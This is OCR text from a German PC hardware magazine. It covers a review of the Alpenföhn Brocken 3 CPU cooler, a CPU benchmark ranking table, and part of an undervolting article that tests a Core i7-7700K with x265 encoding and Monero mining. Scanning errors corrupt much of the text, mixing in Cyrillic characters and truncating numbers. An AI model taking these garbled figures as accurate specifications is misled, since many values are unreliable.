boards begrenzt der tiefe Kühlkörper aber die Höhe der hinteren RAM-Module. 
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Prozessoren 


AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten 


Nicht zu verstecken braucht der 
Brocken 3 seine Leistungsnote: 
1,84 ist nahe am Bestwert, die ge- 
lungene Abstimmung verschenkt 
weder Wertungspunkte an „leiser 
als leise“ noch „kälter als kalt“ und 
mit unserem Referenzlüfter be- 
stückt gehört die Leistung zu den 
besten, die wir je gemessen haben. 
Bei 480 U/min schlägt der Bro- 
cken 3 sogar einige Doppel-Turm- 
Boliden. Auch mit dem Serienlüf- 
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Der Brocken-3-Lüfter hat 9 schlanke, steile Lüfterblätter; 7 Halterungsstreben 
dienen als Leitgitter. Der Kühlkörper wurde mit einem Top-Cover aufgewertet. 


ter liegen die Stärken im unteren 
Drehzahlbereich, nur der riesige 
Le Grand Macho schafft es mit hal- 
bierter Drehzahl gleichzeitig leiser 
und kühler zu arbeiten. Ähnlich 
große oder teure Konkurrenten 
(UVP 44,90 Euro; 2 Euro über Bro- 
cken 2) des Brocken 3, wie Noctua 
NH-U14S, Scythe Mugen 5 oder 
Thermaltake True Spirit 140 Direct 
gehen dagegen erst im 1,0-Sone- 
Bereich (knapp) in Führung. (tv) 


Produkt EKL Alpenföhn Brocken 3 


ung 


Ca. € 45,-/Note 2 


Enthaltene Lüfter/Anschluss/Entkopplung 


x 140 mm (abweichende Rahmenform)/4 Pin/ja 


Montierbare Lüfter* 


2x 120 mm 


Lüfterdrehzahl min. — max. 


440 — 1.020 U/min 


Heatpipe Direct Touch (HDT) 


Sockelunterstützung AMD 


AM4/AM2(+)/AM3(+)/FM1/FM2(+)/G34 


Sockelunterstützung Intel 


150/1151/1155/1156/2011/201 1-v3/2066/1366/775 


Anpresskraft Sockel 1151 


70N 


Maße (B x H x T); Gewicht mit Lüfter(n) 


50 x 171 x 126 mm; 870 g 


Montageaufwand (AMD/115X/2066) 


Mittel/mittel/gering 


Platinenausbau nötig (AMD/115X/2066) 


а/ја/пеіп 


ge (АМ0/115Х/2066) 


möglich/möglich 


enlüfter (100/75/50 %) 


152,5/54,6/61,1 °C 


Lautheit Serienlüfter (100/75/50 %) 


,0/0,3/0,1 Sone 


CPU-Temp., Serienlüfter bei 1.0 Sone 


52,5 *C (1.020 U/min) 


CPU-Temp., Referenzlüfter (100/75/50 96) 


53,0/55,8/64,1 °C (1x 140 mm) 


Lautheit Referenzlüfter (100/75/50 96) 


FAZIT 


0,6/0,2/0,1 Sone (1x 140 mm) 
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ет: Xeon E5-2687W (150 W ТОР), 3,4 GHz/1,068 V unter Last; Gigabyte X79-UD7; Win 7 x64 SP1; 


Core Damage; EKL Alpenfóhn Permafrost; offener Aufbau, frontaler Lüfter 180 mm 330 U/min* Lüfter mit 


größentypischen Rahmen. Ggf. weitere Formate mit atypischen Rahmen möglich 
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PCGH- 


BESSER > | Normierte Leistung 


Index: Top 40 CPUs 


Preis-Leistungs-Verháltnis B Gesamtindex 8 Spieleindex Bi Anwendungsindex 


Intel Core i9-7900X 
3,3 GHz — 10c/20t — So. 2066 


15,9 % - 940 € 


Intel Core i7-6950X 
3,04 GHz — 10c/20t — So. 2011-3 


10,3 % — 1.385 € 


Intel Core i7-7820X 
3,64. GHz — 8c/16t — So. 2066 


24,6 % — 565 € 


Intel Core i7-6900K 
3,24 GHz — 8c/16t — So. 2011-3 


14,9 % – 905 € 


AMD Ryzen TR 1950X 
3,4+ GHz — 16/321 - So. TRA 


13,6 % - 1.030 € 


Intel Core i7-7740X 
4,3+ GHz — Ac/8t — So. 2066 


37,4% – 330 € 


AMD Ryzen TR 1920X 
3,5+ GHz - 12c/24t — So. TRA 


15,8 % – 825 € 


Intel Core i7-7700K 
42+ GHz - AcfBt — So. 1151 


36,9% -315 € 


Intel Core i7-5960X 
3,0+ GHz — 8c/16t — So. 2011-3 


11,8 % — 1.030 € 


Intel Core i7-7800X 
3,5+ GHz — 6c/12t 50. 2066 


33,3 % - 360 € 


Intel Core i7-6800K 
3,4+ GHz - 6c/12t — So. 2011-3 


34,6 % -330 € 


AMD Ryzen 7 1800X 
3,6+ GHz - 80161 — So. AM4 


26,7 % - 440 € 


Intel Core i7-5930K 
3,54 GHz — 6c/12t — So. 2011-3 


19,8 % – 565 € 


Intel Core i7-5775C 
3,34 GHz — 40/81 — So. 1150 


25,3 % -425 € 


Intel Core i7-6700K 
4,04 GHz — 40/81 — So. 1151 


36,0 % — 300 € 


Intel Core i7-5820K 
3,34 GHz — 6c/12t — So. 2011-3 
29,0 % -375 € 


AMD Ryzen 7 1700X 
3,4+ GHz - 8c/16t — So. AM4 


36,3 % -310€ 


Intel Core i7-4960X 
3,6+ GHz - 6c/12t — So. 2011 


9,3 % — 1.135 € 


AMD Ryzen 5 1600X 
3,6+ GHz - 6c/12t — So. AM4 


45,8 % - 230 € 


AMD Ryzen 7 1700 
3,0+ GHz - 8c/16t- So. AM4 


37,2% - 285 € 


3 


93 % 94% 
AN6:33  CR3:198 F15:136 5С2:37 FCB:26.647 CB15:2.105 ALR:87 х264:49 
ACS:130 DAI:136 FC4:83 — TW3:133 ЗОМ: 24.094 7z:105 BLD:109 yCr:63 


Intel Core i7-3960X 
3,34 GHz — 6c/12t — So. 2011 


10,1 % — 1.000 € 


nF 


АМ6:30 CR3:131 F15:95 ois — СВ:19.757 CB15:955 ALR:129 x264:124 


ACS:118 DAI:118 FC4:83 TW3:112 ЗРМ: 13.357 7z:163 BLD:235 yCr:215 


г Шш] 


АМ6:37 CR3:193 F15:130 SC2:40 FCB:24097 CB15:1.805 ALR:90 26:61 
ACS:137 DAF138 FC4:90 TW3:135 — 3DM:21430 7:120 BLD:117 yCr70 


Intel Core i7-4790K 
4,0+ GHz — 4c8t — So. 1150 


28,7 % – 345 € 


71,1% 


943% 


AN6:32  CR3:180 F15:129 5С2:37 FCB:26.490 CB15:1.750 АІА: 89 х264:57 


АМО Ryzen 5 1600 
3,2+ GHz — 6с/121 — So. AM4 


50,0 % - 200 € 


ACS:132 DAI:135 FC4:80 — TW3:132 — 3DM:21295 7z:122 BLD:129 yCr:66 


AN6:34  CR3:129 F15:71 5С2:44 FCB:16.360 CB15:857  ALR:132 x264:122 

ACS:110 DAI:113 FC4:113 TW3:105.— 3DM: 11.924 72: 197 BLD:231 yCr:128 
69,6 % 

72,1% 54,9% 

AN6:30  CR3:133 F15:87 — SC2:28 FCB:17.821 CB15:1.149 ALR: 118 x264: 90 

ACS:104 DAI:106 FC4:79 — TW3:102 ЗРМ: 15.853 72: 236 BLD:196 yCr: 158 


92,5 % 


93,1% 
АМ6:36 СЕЗ:177 1:124 SC2:38 FCB:24761 CB15:1483 ALR:93 x264: 72 
ACS:136 DAI:136 FC4:89 — TW3:135 ЗОМ: 19232 72:126 BLD:143 yCr:75 


Intel Xeon E3-1230 v5 
3,4+ GHz - 40/81— So. 1151 


38,4 % - 250 € 


AN6:31  CR3:118 F15:75 
ACS:109 DAI:115 FC4:112 


5C2:39 
TW3: 105 


FCB: 14.518 CB15:799  ALR:140 x264:114 
3DM: 11.618 72: 221 BLD:248 yCr: 117 


90,9% 


АМ6:27 (83:16 F15:113 SC2:30 — FCB:21492 CB15:3.062 ALR:92 х264:39 
ACS:113 DAE109 rm  TW3:112 — 30M:25846 7z121 — BLD:88 weg 


Intel Core i7-4770K 
3,5+ GHz - 4081—50. 1150 


24,6 % — 380 € 


66,9% 


AN6:30 
ACS: 105 


CR3:119 F15:69 — SC2:41 
DAE 107 FC4:108 ТМЗ: 101 


РСВ: 15.223 СВ15: 797 AR 142 x264:129 
3DM: 11.083 72: 211 BLD: 247 уст: 135 


НИ i 


100,0 % 
АМ6:42 СЕЗ:153 Р15:98 "Oe ЕСВ:18.364 CB15:996 ALR:114 x264:91 
ACS:132 А148 FC4:133 TW3:140 ЗОМ: 14.733 72:198 В00:199 yCr:94 


Intel Core i5-7600K 
3,8+ GHz — Ac/4t — So. 1151 


42,9 % – 210 € 


648% 
41,2% 


85,3% 
ШЕШ 


Intel Core i5-5675C 
3,1+ GHz - Ac/4t 50. 1150 


ANG:27 CR3:144 F15:112 SC2:30 FCB:20248 CB15:2.459 ALR:93  x264:46 3169, -275€ 
ACS:110 DAE 108 FCA:57 — TW3:108 — 3DM:23865 75132 — BLD:99 yCr:81 im 

840% AMD Ryzen 5 1500Х 
94,3% 55,3 % 3,5+ GHz - 4c/8t 50. AMA 
ANG:40 CR3:144 F15:89 9С2:60 ЕСВ:17.733 СВ15:974 ALR:118 x264:94 499 175€ 
ACS:131 DAL 138 FC4:131  TW3:126 — 3DM:14240 7z204 —— BLD:205 yCr:99 MER 

840% Intel Core i7-4820K 
35,1% 69,0 % 37+ GHz - 40/81— So. 2011 
ANG:29 CR3:164 F15:115 SC2:31 — FCB:23464 CB15:1329 ALR:108 ›264:81 222*h -385€ 
ACS:127 DAL 130 FCA:84 — TW3:124 — 3DM:16203 7:135 — BLD:161 yCr:81 eve 


Intel Core i5-7500 
3,4+ GHz — Ac/4t — So. 1151 


46,7 % – 180€ 


85,8% 66.3 % 
AN6:29 CR3:165 Р15:112 5С2:39 FCB:21.732 СВ15: 1.303 ALR:104 x264: 75 
ACS:130 DAI:132 FC4:85 TW3:119 ЗРМ: 17.655 7z: 180 BLD: 165 yCr: 91 


Г Dr 
59,9% 

AN6:34  CR3:154 F15:104 SC2:34 
ACS:130 DAL 131 FC4:93 ТМЗ: 118 


Intel Core i7-3770K 
3,5+ GHz — 4081—50. 1155 


22,6 % -370 € 


71,1% 
AN6:32  CR3150 Е15:93 5С2:33 : 
ACS:110 DAI:114 FC4:77 TW3:110 


Intel Core i7-990X 
3,5+ GHz — 6c/12t — So. 1366 


8,9 % – 940 € 


Intel Core i5-6600K 
3,5+ GHz - Ac/8t — So. 1151 


35,9 % – 220€ 


AN6:33 САЗ: 154 Р15:105 5С2:32 FCB: 19.845 СВ15: 1.086 ALR:116 х264: 102 

АСЅ:127 РАІ: 130 FC4:94 ТМЗ: 119 3DM: 13.942 72: 165 BLD: 198 yCr: 107 
78,9% 

91,9% 

ANG A0 СВЗ: 129 F15:95 5С2:47 FCB: 14.590 СВ15: 787 ALR:133 x264: 125 


АСЅ:127 РАІ: 139 РС4:128 ТМЗ: 131 


Intel Core 15-7400 
3,0+ GHz — Ac/4t — So. 1151 


47,1% -165 € 


——————9.-— — — 
87,8% 
AN6:37 CR3:137 F15:80 SCH: 55 FCB: 16.191 CB15:890 ALR:127 х264:102 


ACS:120 DAI:133 FC4:124 TW3:119 ЗОМ: 13.028 7z:205 BLD:222 yCr:106 


Intel Core i5-4690K 
3,5+ GHz — Ac/4t 50. 1150 


31,196 -245 € 


rr. 
56,2% 

AN6:32  CR3:149 F15:102 SC2:32 FCB:18.880 CB15:1.022 ALR: 119 x264: 104 
ACS:122 DAL 129 FC4:92 TW3: 115 3DM: 13.589 72: 168 BLD: 203 yCr: 110 


AMD Ryzen 5 1400 
3,24 GHz - Ac/8t — So. AM4 


49,8 %- 155 € 


KÓ ^  |ntelCorei5-4670K 
67,5% 3,4+ GHz - Ac/4t — So. 1150 
AN6:31 CR3:146 F15:91 — SC2:30 FCB:21.955 CB15:1.557 ALR:111 x264: 68 28,1 % — 265 € 
ACS:106 DAI:109 FC4:75 — TW3:105 — 3DM:18246 72:189 BLD:149 yCr:113 GEN 

74,1% Intel Core 15-6500 
79,0% 55,2% 3,2+ GHz — 4c/4t — So. 1151 
AN6:31 CR3:137 F15:102 SC2:25 — FCB:19.953 CB15:1.000 ALR:114 x264:112 40,0 9, — 185€ 
ACS:120 DAI:122 FC4:84 — TW3:114 — 3DM:13914 72:159 BLD:219 yCr: 207 ий 


73,5% 


75,7% 
AN6:31  CR3:142 F15:89 Om FCB:19.066 CB15:1.244 ALR:111 x264:84 
ACS:107 DAI:113 IAM — TW3104 — 3DM:17.113 7:229 — BLD:181 ус:147 


AMD FX-9590 
47+ GHz - Am/8t — So. AM3+ 


50,1 % - 150 € 


НИ 
AN6:29 САЗ: 137 F15:89 FCB: 20.633 СВ15: 1.426 ALR: 117 х264: 73 
АС: 105 РАІ: 104 ЕСД: 70 3DM: 16.798 72: 201 BLD: 161 уст: 122 


502:27 
TW3: 102 


Intel Core 17-2600К 
3,4+ GHz — AdlBt — So. 1155 


25,4 % — 290 € 


AN6:30 CR3:102 FI5:68 sa — FCB:1216 CB15:676 ALR:129 x264:126 
ACS:100 DAI:111 FC4:117 TW3:95 — 3DM:9.013 72:256 В10:332 yCr:130 
SN г 

36,1% 

AN6:39 САЗ:95 F15:65 5С2:44  FCB:11377 СВ15:567 ALR:140 x264: 160 
ACS:99  DAI:108 FC4:125 TW3:92 — 3DM:8339 7z279 — BLD:387 yCr:176 
x гй 

43,6 % 

АМ6:29 САЗ: 104 15:77 sn FCB:13.51 СВ15:818 А1А: 123 x264:126 
ACS:94  DAI:100 FC4:94 — TW3:93 30: 12.185 7:283 В10:266 yCr: 209 
ни г: 

39,2% 

АМ6:30 CR3:102 15:78 5С2:25 FCB:13.903 CB15:664 ALR:147 x264:167 
ACS:105 DAI:109 FC4:92 — TW3:100 30М:9.892 7z:227 В10:318 yCr:282 
x DIE 

375% 

АМ6:29 САЗ:94 15:65 SOA ЕСВ:11.455 СВ15:610 ALR:142 x264:139 
ACS:94 ОА: 103 ЕСА: 112 TW3:89 30М: 8,101 7z:275 В10:361 уст: 143 
Е 

67,7 % 39,3 % 

АМ6:29 САЗ: 102 15:69 sm FCB:13.908 СВ15:679 ALR:154 х264:163 
ACS:100 DAI:103 FC4:92 — TW3:95 30М:9.926 72:217 В10:316 yCr.292 
IN e, 

62,0% 44,9% 

AN6:28 CR3:119 15:64 si — FCB:18.987 CB15:822 ALR:157 x264:139 
ACS:95  DAE92 FC4:72 — TW3:82 — 3DM:12349 72232 — BLD:243 yCr:322 
I EB 

64,4% 

AN6:25 (83:89 15:59 5С2:40 FCB:11479 СВ15:611 ALR:139 х264:139 
ACS:89  DAI:97  FC4:106 TW3:84 3DM:8.106 72:281 — BLD:360 yCr: 142 
wj >: 

64,9% 34,9 % 

AN6:26 САЗ:87 15:61 9С2:38 FCB:10.594 CB15:552 ALR:152 x264: 150 
ACS:91  DAI:97 FC4:107 TW3:84 — 3DM:7431 72:286 BLD:392 yCr:154 
SSES EET 

62,6% 35,5 % 

AN6:31 (83:90 15:54 SC2:36 — FCB:12.033 CB15:565 ALR:150 x264:163 
ACS:85 Dës  FC4:98 — TW3:80 — 3DM:7.482 72:288 — BLD:368 yCr 168 
IS ED 

AN6:26 CR3:93 15:70 sm — FCB:12455 CB15:706 ALR:148 x264:142 
ACS:81 — DAELS9 Fän — TW3:82 — 30М:10.875 72:321 — BLD:303 yCr:234 
ED 

rr , 

АМ6:31 САЗ: В9 15:53 sm СВ:11.739 СВ15:551 АА: 153 x264: 166 
АС: 84 Dm  FC4:96 — TW3:80 30М:7.280 72:300 BLD:382 yCr:173 
x [PE 

11% | [348%] 

AN6:25 СЕЗ:83 15:57 902:35 FCB:10.519 CB15:561 ALR:152 3264:148 
ACS:89 Da  FC4:96 — TW3:81 — 3DM:7426 7:293 BLD:394 yCr 156 
ЕНИ 5 

57,1% 

AN6:25 СЕЗ:96 F15:61 SC2:20 — FCB:15.018 CB15:727 ALR:146 х264:138 
АСЅ:81 Dn ЕС4:79 TW3:81 — 3DM:8407 72:208 ВІр:415 yCr256 
x ED 

59,1% 

AN6:27 (83:92 15:55 — 5C2:22 — FCB:13434 СВ15:619 ALR:175 ›264:191 
ACS:85 Dm FC4:83 — TW3:84 — 3DM:8371 7z253  BLD:351 yCr317 


besser). System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MH 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, 
АА und АЕ), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Adobe Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist 


Z. 
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Schottisches 


CPU-Tuning 


Den nördlichen Einwohnern Großbritanniens wird 
Sparsamkeit nachgesagt. Für PC-Nutzer, welche 
diese Tugend ebenfalls schätzen, ist Undervolting 


6456 


amit hochkomplexe Geräte 

wie PCs zuverlässig funktio- 
nieren, gibt es Sicherheitsreserven. 
Übertakter loten diese aus, indem 
sie den Takt und oft auch die Span- 
nung erhöhen, bis eine Komponen- 
te instabil wird oder überhitzt. Der 
andere Weg ist Undervolting, also 
das Austesten der minimal erfor- 
derlichen Spannung. 


Eine niedrige Spannung reduziert 
den Energiebedarf und die Abwär- 
me. Das senkt wiederum die Strom- 
kosten und den Kühlaufwand. Ge- 
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eine lohnende Optimierungsmethode. 


AMD Ryzon 5 1600 


AMO д 


INTELU TT 


sav 259612 
16386405 @ 


rade in der heifšen Jahreszeit lohnt 
es sich, die freigesetzte Wärme zu 
verringern, damit die Lüfter nicht 
so schnell rotieren müssen und we- 
niger Lärm erzeugen. 


12 CPUs, 2 Testszenarien 

Wir schnappen uns je vier aktu- 
elle und beliebte CPUs für die 
Sockel 1151, 2066 und AM4, mit 
denen wir die Reserven ausloten. 
Die Auswirkungen messen wir im 
Leerlauf und mit zwei unterschied- 
lichen Programmen: Der Hwbot 
x265 Benchmark basiert auf dem 


quelloffenen x265/HEVC-Encoder 
und macht Gebrauch von AVX2-In- 
struktionen. Bei dem Test wird ein 
H264-kodiertes Video in 4K-Auflö- 
sung in H265/HEVC umgewandelt. 


Der zweite Test besteht im Mining 
der Kryptowährungen Monero 
(ХМК) und Digital Note (XDN) mit 
der Software XMR Stak CPU. Auf 
dem Cryptonote-Protokoll basie- 
rende Kryptowährungen sind, an- 
ders als etwa Bitcoin, aktuell nicht 
effizient mit spezialisierten Schalt- 
kreisen (ASICs) zu erzeugen. Gra- 


al wei 


BH isla; 


VE 


fikkarten sind zwar besser zu ska- 
lieren (gewöhnliche Mainboards 
bieten schließlich nur einen Sockel, 
aber viele PCI-Express-Steckplät- 
ze), die Hashrate von Prozessoren 
ist aber dank AES-Beschleunigung 
auf einem ähnlichen Niveau. 


Selbstverständlich bringt Undervol- 
ting auch in Spielen Vorteile - für 
diesen Zweck sollten Sie sich aber 
zudem der Grafikkarte widmen. 
Wie das geht, haben wir in Ausgabe 
02/2017 demonstriert; den Artikel 
finden Sie auch auf der Heft-DVD. 
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Core 17-7700К 


er Vierkerner für den Sockel 

1151 bietet dank SMT und 
einer hohen Taktfrequenz eine 
höhere Spieleleistung als viele Pro- 
zessoren mit mehr Kernen. Wir er- 
läutern anhand der Kaby-Lake-CPU 
die unterschiedlichen Möglichkei- 
ten des Undervoltings. 


Die Ausgangsbasis 

Wir betreiben den i7-7700K auf 
der Z270-Platine Asus Maximus IX 
Code mit der UEFI-Version 0906. 
Im Leerlauf zieht der PC 58 Watt 
aus der Leitung, die CPU läuft mit 
800 MHz und 0,67 Volt. Das Main- 
board legt mit „Auto“-Einstellungen 
unter Volllast einen hohen Turbo- 
takt von 4,5 GHz an. Die Kernspan- 
nung beträgt im x265-Test 1,26 
Volt, der PC gönnt sich 152 Watt. 


Im Mining-Test gibt sich der Rech- 
ner mit 102 Watt genügsamer. Das 
liegt einerseits an den weniger 
intensiven Berechnungen, ande- 
rerseits aber auch an der Testkon- 
figuration: Für jeden Thread des 
Programms XMR Stak CPU sollten 


, Auto": Alles auf 


2 MiByte L3-Cache zur Verfügung 
stehen. Bei weniger Zwischenspei- 
cher sinkt die Hashing-Leistung 
pro Thread, die Nutzung zusätzli- 
cher Threads durch SMT führt bei 
den meisten CPUs zu einem (deut- 
lich) schlechteren Gesamtergebnis 
bei einem hóheren Energiebedarf. 
Wir konfigurieren XMR Stak CPU 
daher bei jedem Prozessor so, dass 
die Anzahl der Threads mit den 
tatsáchlich vorhandenen Kernen 
übereinstimmt - im Falle des Core 
17-7700K also vier Stück. 


Konstante Kernspannung 

Die einfachste Möglichkeit, die 
Kernspannung der CPU zu beein- 
flussen, besteht darin, im UEFI-Me- 
nü eine Spannung festzulegen, die 
dauerhaft anliegt. Mit dem Core i7- 
7700K ist eine Absenkung bis auf 
1,115 Volt móglich, die ausgelesene 
Spannung ist sogar noch etwas ge- 
ringer. Durch die Absenkung von 
1,26 auf 1,1 Volt reduziert sich der 
Strombedarf um 25 Watt auf 127 
Watt, die Kerntemperatur geht 
um über 11 Kelvin zurück. Beim 


Standard 


Die Spannung wird im Leerlauf gesenkt und unter Last erhóht, ist in 
beiden Fällen aber höher als erforderlich. 


UEFI-Menü des Asus Maximus IX Code (Obermenü „Extreme Tweaker") 


BCLK Aware Adaptive Voltage 


Core i7-7700K (Kaby Lake, 4c/8t, Sockel 1151) 


Win-10-Desktop/Hwbot x265 Benchmark (8 Threads)/XMR Stak CPU (4 Threads) 


110 
E Strombedarf (Idle) Wi Strombedarf (x265) lil Fps (x265) 
W Strombedarf (Mining) Ей H/s (Mining) 
105 
g 100 
= 
o 
£ 
2 
E] 95 
© 
£ 
@ 
= 
S o% 
85 
80 
Standard Manual 1,115 V Offset -0,140 V PCGH-optimiert 
Vcore (Idle) 0,67 Volt 1,10 Volt 0,53 Volt 0,56 Volt 
Takt (Idle) 800 MHz 800 MHz 800 MHz 800 MHz 
Strombedarf (Idle) 58 Watt 60 Watt 57 Watt 58 Watt 
Vcore (x265) ,26 Volt 1,10 Volt 1,12 Volt 1,17 Volt 
Takt (x265) 4.500 MHz 4.500 MHz 4.500 MHz 4.700 MHz 
Strombedarf (x265) 52 Watt 127 Watt 129 Watt 139 Watt 
x265 4K 8,60 Fps 8,60 Fps 8,60 Fps 8,85 Fps 
Effizienz (x265) 17,67 Watt pro Fps | 14,77 Watt pro Fps | 15,0 Watt pro Fps | 15,71 Watt pro Fps 
Kerntemp. (x265) 61,1 °C 49,9 °C 50,5 °C 56,4 °C 
Vcore (XMR) ,25 Volt 1,10 Volt 1,10 Volt 1,15 Volt 
Takt (XMR) 4.500 MHz 4.500 MHz 4.500 MHz 4.700 MHz 
Strombedarf (XMR) 02 Watt 90 Watt 91 Watt 95 Watt 
XMR Stak CPU 249,5 H/s 249,5 H/s 249,5 H/s 254,7 H/s 
Effizienz (XMR) 2,45 His pro Watt 2,77 His pro Watt 2,74 His pro Watt 2,68 H/s pro Watt 


System: Asus Maximus IX Code (UEFI 0906), CPU-Wakü, 2 х 8 GiB DDR4-2400, Geforce GT 640; Win 10 x64 


,Manual Mode": Fixe Spannung 


Im „Manual Mode" lässt sich die benötigte Kernspannung unter Last 
austesten. Der Nachteil: Im Leerlauf wird die Spannung nicht gesenkt. 


UEFI-Menü des Asus Maximus IX Code (Obermenü , Extreme Tweaker") 


Auto 


Auto - 


BCLK Aware Adaptive Voltage 


[um — J 


CPU Core/Cache Voltage Manual Mode 


CPU C »e Voltage 


- CPU Core Voltage Override 1.115 


DRAM Voltage 1.184V > CPU overclocking temperature control 


CPU VCCIO Voltage 1.144V DRAM voltage 


CPU System Agent Voltage CPU VCCIO Voltage 


PLL Termination Voltage CPU System Agent Voltage 


PCH Core Voltage PLL Termination Voltage 


CPU Standby Voltage PCH Core Voltage 


> DRAM REF Voltage Control 


Leerlauf: 0,8 GHz, 0,67 Volt, 58 Watt Volllast: 4,5 GHz, 1,26 Volt, 152 Watt 


Name Intel Core i7 7700K Name Intel Core i7 7700K 

Code Name Kaby Lake Max TDP | 91.0 W Code Name Kaby Lake Max TDP | 91.0 W 

Package Socket 1151LGA Package Socket 1151LGA 
Technology Core Voltage Technology Core Voltage 


Specification Intel® Core™ i7-7700K CPU @ 4.2 Specification Intel® Core™ i7-7700K CPU @ 4.2 

Family 6 Model E 5 Еатйу 6 Model E Step 

Ext. Family 6 Ext. Model 9E Revi | Ext. Family 6 Ext. Model 9E Revi 

Instructions | ММХ, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4 | Instructions | MMX, SSE, 55Е2, SSE3, SSSE3, SSE4. 1, SSE4 
AES, AVX, AVX2, FMA3, TSX AES, AVX, AVX2, FMA3, TSX 

Clocks (Core #0) -Clocks (Core #0) 

Core Speed Core Speed 

Multiplier Multiplier 

| Bus Speed Bus Speed 


CPU Standby Voltage 


Leerlauf: 0,8 GHz, 1,10 Volt, 60 Watt Volllast: 4,5 GHz, 1,10 Volt, 127 Watt 


Name Intel Core i7 7700K Name Intel Core i7 7700K 

Code Name Kaby Lake Max TDP | 91.0 W Code Name Kaby Lake Max TDP | 91.0 W 

Package Socket 1151LGA Package Socket 1151LGA 
Technology Core Voltage Technology Core Voltage 


Specification Intel® Core™ i7-7700K CPU @ 4.2) | Specification Intel® Core™ i7-7700K CPU @ 4.2 
Family 6 Model E Stepr Family 6 Model E Stepi 

Ext. Family 6 Ext. Model SE Revit | Ext. Family 6 Ext. Model 9E Revi 

Instructions [MMX, SSE, SSE2, SSE3, SSSE3, SSE4. 1, 55Е4, | Instructions |ММХ, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4 
AES, AVX, AVX2, FMA3, TSX АЕ5, AVX, AVX2, FMA3, TSX | 

Cache 
LiData | 4x32KByl 
List. | 4x 32KByl 
Level 2 | 4x 256 КВ 


14nm 0.672V 14nm 1.264V 14nm 1.104V 14nm 1.104V 


| 
Cache I 
LlData | 4х32КВу 
Lilnst. | 4x 32KBy 


Level2 | 4x 256 KB] 


Cache 
LiData 
LiInst. 
Level 2 


| Clocks (Core #0) 
Core Speed 
Multiplier 
Bus Speed 


Cache 

L1Data 
Lilnst. 
Level 2 


[Clocks (Core #0) 
Core Speed 
Multiplier 

Bus Speed | 


800.00 MHz 
x8.0(8-45) 
100.00 MHz 


4500.00 MHz 
х 45.0 (8-45) 
100.00 MHz 


4x 32 КВу 
4х 32KBy 
4х 256 КВ! 


4500.00 MHz 
х 45.0 (8-45) 
100.00 MHz 


800.00 MHz 
х8.0 (8-45) 
100.00 MHz 


4x 32KBy 
4x32KBy 
4x 256 КВ} 
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Mining sparen wir 25 Watt ein. 
Schlecht fällt unsere Energiespar- 
Bilanz dafür im Leerlauf aus: Die 
CPU taktet sich zwar wie zuvor auf 
800 MHz herunter, doch mangels 
Spannungsreduktion benötigt un- 
ser System 60 statt 58 Watt. 


Die zweite Möglichkeit, einen Pro- 
zessor zu undervolten, ist die Nut- 
zung des Offset-Modus. Mit dieser 
Funktion fixieren Sie die Kernspan- 
nung nicht auf einen gewünschten 
Wert, sondern bestimmen eine 
Abweichung von der Standardre- 
gelung. Ein einfaches Beispiel: Ein 
Offset-Wert von -0,10 Volt reduziert 
nicht nur die Spannung unter Voll- 
last von 1,25 auf 1,15 Volt, sondern 
auch die Spannung im Leerlauf 
von 0,75 auf 0,65 Volt. Ein weite- 
rer Vorteil: Der Offset-Modus greift 
auch bei CPUs mit einem hohen 
Single-Core-Turbo. Abhängig von 
Mainboard und Prozessor liegt bei 
Teillast ein höherer Multiplikator 
und eine höhere Kernspannung als 
bei Volllast an. Wer die Spannung fi- 
xiert und die Stabilität nur bei Aus- 
lastung aller Kerne ermittelt, wird 
spätestens dann mit Abstürzen 
konfrontiert, wenn sich die CPU 


mit Teillast stärker hochtaktet als 
erwartet. Bei unserem i7-7700K ist 
das allerdings kein Problem, da das 
Mainboard mit „Auto“-Einstellun- 
gen selbst bei Volllast den höchsten 
Single-Core-Turbotakt von 4.500 
MHz verwendet; falls Sie dieses 
Verhalten nicht wünschen, dann 
deaktivieren Sie die Option „ASUS 
MultiCore Enhancement“ im „Ext- 
reme Tweaker“-Menü. 


Wir erreichen das untere Limit bei 
einem Offset-Wert von -0,14 Volt, 
was zu einer Leerlaufspannung von 
sehr niedrigen 0,53 Volt führt. Der 
Wert ist so niedrig, dass tatsächlich 
nicht die Spannung unter Last, son- 
dern die Spannung im Leerlauf un- 
ser Tuning-Potenzial begrenzt. Ge- 
genüber der Ausgangsbasis sparen 
wir 1 Watt beim Nichtstun, 23 Watt 
bei der Videoumwandlung und 11 
Watt beim Coin-Mining ein. 


Eine für den Leerlauf und Last von- 
einander unabhängige Kernspan- 
nung lässt sich mit dem „Adaptive 
Mode“ realisieren, der allerdings 
erst über dem höchsten Turbo-Mul- 
tiplikator, also mit Overclocking 
funktioniert. Hierbei steht neben 


Via Offset lässt sich die Spannung gegenüber der Voreinstellung sowohl 
unter Last als auch im Leerlauf um einen bestimmten Wert absenken. 


UEFI-Menü des Asus Maximus IX Code (Obermenü „Extreme Tweaker") 


BCLK Aware Adaptive Voltage 
CPU Core/Cache Voltage 
Offset Mode Sign 
CPU Core Voltage Offset 
CPU overclocking temperature control 
DRAM Voltage 
CPU VOGO Voltage 
CPU System Agent Voltage 
РЦ Termination Voltage 


PCH Core Voltage 


Auto M 


t1056V | Offset Mode 


Leerlauf: 0,8 GHz, 0,53 Volt, 57 Watt Volllast: 4,5 GHz, 1,12 Volt, 129 Watt 


Intel Core i7 7700K 

Kaby Lake Max TDP | 91.0 W 

Socket 1151 LGA 
Core Voltage 


Name 

Code Name 
Package 
Technology 


14nm 0.528 V 


Intel Core i7 7700K 

Kaby Lake Max TDP | 91.0 W 

Socket 1151LGA 
Core Voltage 


Name 

Code Name 
Package 
Technology 


14nm 1.120V 


77 UEFI BIOS Utility - Ad 
21:11 


My Favorites Main 


Target Lacne rrequency 


Advanced 


> Overdocking Presets 
Al Overdiock Tuner 
BCLK Frequency 
ASUS MultiCore Enhancement 
AVX Instruction Core Ratio Negative Offset 
CPU Core Ratio 


1-Core Ratio Limit 


ВАК Frequency : DRAM Frequency Ratio 


